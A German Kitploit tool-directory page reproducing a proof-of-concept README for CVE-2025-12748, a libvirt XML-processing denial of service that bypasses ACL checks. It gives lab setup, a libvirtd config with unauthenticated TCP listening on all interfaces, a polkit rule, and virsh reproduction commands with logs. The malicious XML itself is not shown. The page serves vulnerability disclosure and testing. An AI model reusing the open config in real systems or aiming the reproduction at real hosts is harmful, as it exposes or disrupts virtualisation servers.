Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-12748 — Proof of Concept für CVE-2025-12748, eine Denial-of-Service-Schwachstelle in der libvirt-XML-Verarbeitung, die ACL-Prüfungen umgeht und Ressourcenerschöpfung ermöglicht. | Kitploit
Tools/GitHubGitHub/teresh1/cve-2025-12748
Cloud-Infrastruktur-SicherheitSchwachstellenanalyseExploitationLernen & Bildung
GitHubteresh1/cve-2025-12748

CVE-2025-12748

Proof of Concept für CVE-2025-12748, eine Denial-of-Service-Schwachstelle in der libvirt-XML-Verarbeitung, die ACL-Prüfungen umgeht und Ressourcenerschöpfung ermöglicht.

Repository anzeigen
12vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-12748

Eng Rus

  • Credit: Svyatoslav Tereshin (@TERESH1), Artem Mukhin (@saladosss)
  • Issues: #687, #825

English

Beschreibung

In der Verarbeitungsroutine für XML-Dateien wurde ein Problem entdeckt.

Die Verarbeitung des Dateiinhalts erfolgt vor der ACL-Prüfung. Dadurch kann ein Benutzer mit eingeschränkten Rechten eine speziell präparierte XML-Datei übermitteln, die zu übermäßigem Ressourcenverbrauch führen kann, was einen potenziellen Denial-of-Service-Angriff (DoS) ermöglicht.

Umgebungseinrichtung

  1. Betriebssystem: Alt Linux P10 Server
  2. Installieren und konfigurieren Sie libvirt/qemu gemäß dem Artikel (russisch)
  • Zusammenfassung auf Englisch:
root@kitploit:~
apt-get install libvirt libvirt-kvm libvirt-qemu
gpasswd -a user vmusers
systemctl enable --now libvirtd
  • Ersetzen Sie den Inhalt in /etc/libvirt/libvirtd.conf durch:
  • root@kitploit:~
    listen_tls = 0
    listen_tcp = 1
    tcp_port = "16509"
    listen_addr = "0.0.0.0"
    unix_sock_group = "vmusers"
    auth_tcp = "none"
    access_drivers = ["polkit"]
    min_workers = 1
    max_workers = 1
    prio_workers = 1
    admin_min_workers = 1
    admin_max_workers = 1
    
    log_outputs="1:file:/var/log/libvirt/libvirtd.log"
    log_level = 1
    
    1. Fügen Sie eine Regel für polkit hinzu (/etc/polkit-1/rules.d/50-libvirt-user.rules):
    root@kitploit:~
    polkit.addRule(function(action, subject) {
        polkit.log("action=" + action);
        polkit.log("subject=" + subject);
        if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
            subject.user == "user") {
            return polkit.Result.NO;
        }
        else {
            return polkit.Result.YES;
        }
    })
    
    1. Starten Sie die Dienste neu: systemctl restart libvirtd polkit

    Reproduktion

    Versuch, mit einer gültigen XML-Datei auf libvirt zuzugreifen:

    root@kitploit:~
    virsh --connect qemu://system define ./test.xml
    

    Die folgende Fehlermeldung wird empfangen:

    root@kitploit:~
    error: Failed to define domain from ./test.xml
    error: access denied: access denied "QEMU"
    

    Und das entsprechende polkit-Protokoll:

    root@kitploit:~
    polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
    polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
    polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
    polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
    polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
    polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
    polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
    

    Versuch, mit einer schädlichen XML-Datei auf libvirt zuzugreifen:

    root@kitploit:~
    virsh --connect qemu://system define ./oom.xml
    

    Das Protokoll wird aufgrund des Hängens des Servers leer sein, und in top ist ein erhöhter Ressourcenverbrauch durch libvirtd zu beobachten.

    Руссский

    Beschreibung

    Beim Verarbeiten der XML-Datei wurde ein Problem festgestellt.

    Die Verarbeitung des Dateiinhalts erfolgt vor der ACL-Prüfung. Dadurch kann ein Benutzer mit eingeschränkten Rechten eine speziell präparierte XML-Datei übermitteln, die zu übermäßigem Ressourcenverbrauch führen kann, was einen potenziellen Denial-of-Service-Angriff (DoS) ermöglicht.

    Umgebungseinrichtung

    1. Betriebssystem: Alt Linux P10 Server
    2. Installieren und konfigurieren Sie libvirt/qemu gemäß dem Artikel
    3. Ersetzen Sie den Text in /etc/libvirt/libvirtd.conf durch:
    root@kitploit:~
    listen_tls = 0
    listen_tcp = 1
    tcp_port = "16509"
    listen_addr = "0.0.0.0"
    unix_sock_group = "vmusers"
    auth_tcp = "none"
    access_drivers = ["polkit"]
    min_workers = 1
    max_workers = 1
    prio_workers = 1
    admin_min_workers = 1
    admin_max_workers = 1
    
    log_outputs="1:file:/var/log/libvirt/libvirtd.log"
    log_level = 1
    
    1. Fügen Sie eine Regel für polkit hinzu (/etc/polkit-1/rules.d/50-libvirt-user.rules):
    root@kitploit:~
    polkit.addRule(function(action, subject) {
        polkit.log("action=" + action);
        polkit.log("subject=" + subject);
        if ((action.id == "org.libvirt.api.domain.write" || action.id == "org.libvirt.api.domain.save") &&
            subject.user == "user") {
            return polkit.Result.NO;
        }
        else {
            return polkit.Result.YES;
        }
    })
    
    1. Neu starten: systemctl restart libvirtd polkit

    Reproduktion

    Versuch, mit einer gültigen XML-Datei auf libvirt zuzugreifen:

    root@kitploit:~
    virsh --connect qemu://system define ./test.xml
    

    Die folgende Fehlermeldung wird empfangen:

    root@kitploit:~
    ошибка: Не удалось создать описание домена на основе ./test.xml
    ошибка: доступ запрещен: доступ запрещен "QEMU"
    

    Und das entsprechende polkit-Protokoll:

    root@kitploit:~
    polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.unix.manage']
    polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
    polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.connect.getattr' connect_driver='QEMU']
    polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
    polkitd[611708]: Unregistered Authentication Agent for unix-process:613904:1401403695 (system bus name :1.113770, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ru_RU.UTF-8) (disconnected from bus)
    polkitd[611708]: <no filename>:2: action=[Action id='org.libvirt.api.domain.write' domain_name='test-vm' connect_driver='QEMU' domain_uuid='123e4567-e89b-12d3-a456-426614174000']
    polkitd[611708]: <no filename>:3: subject=[Subject pid=613904 user='user' groups=user,wheel,vmusers,docker seat=null session='55525' local=false active=true]
    

    Versuch, mit einer schädlichen XML-Datei auf libvirt zuzugreifen:

    root@kitploit:~
    virsh --connect qemu://system define ./oom.xml
    

    Das Protokoll wird aufgrund des Hängens des Servers leer sein, und in top ist ein erhöhter Ressourcenverbrauch durch libvirtd zu beobachten.

    Tool herunterladen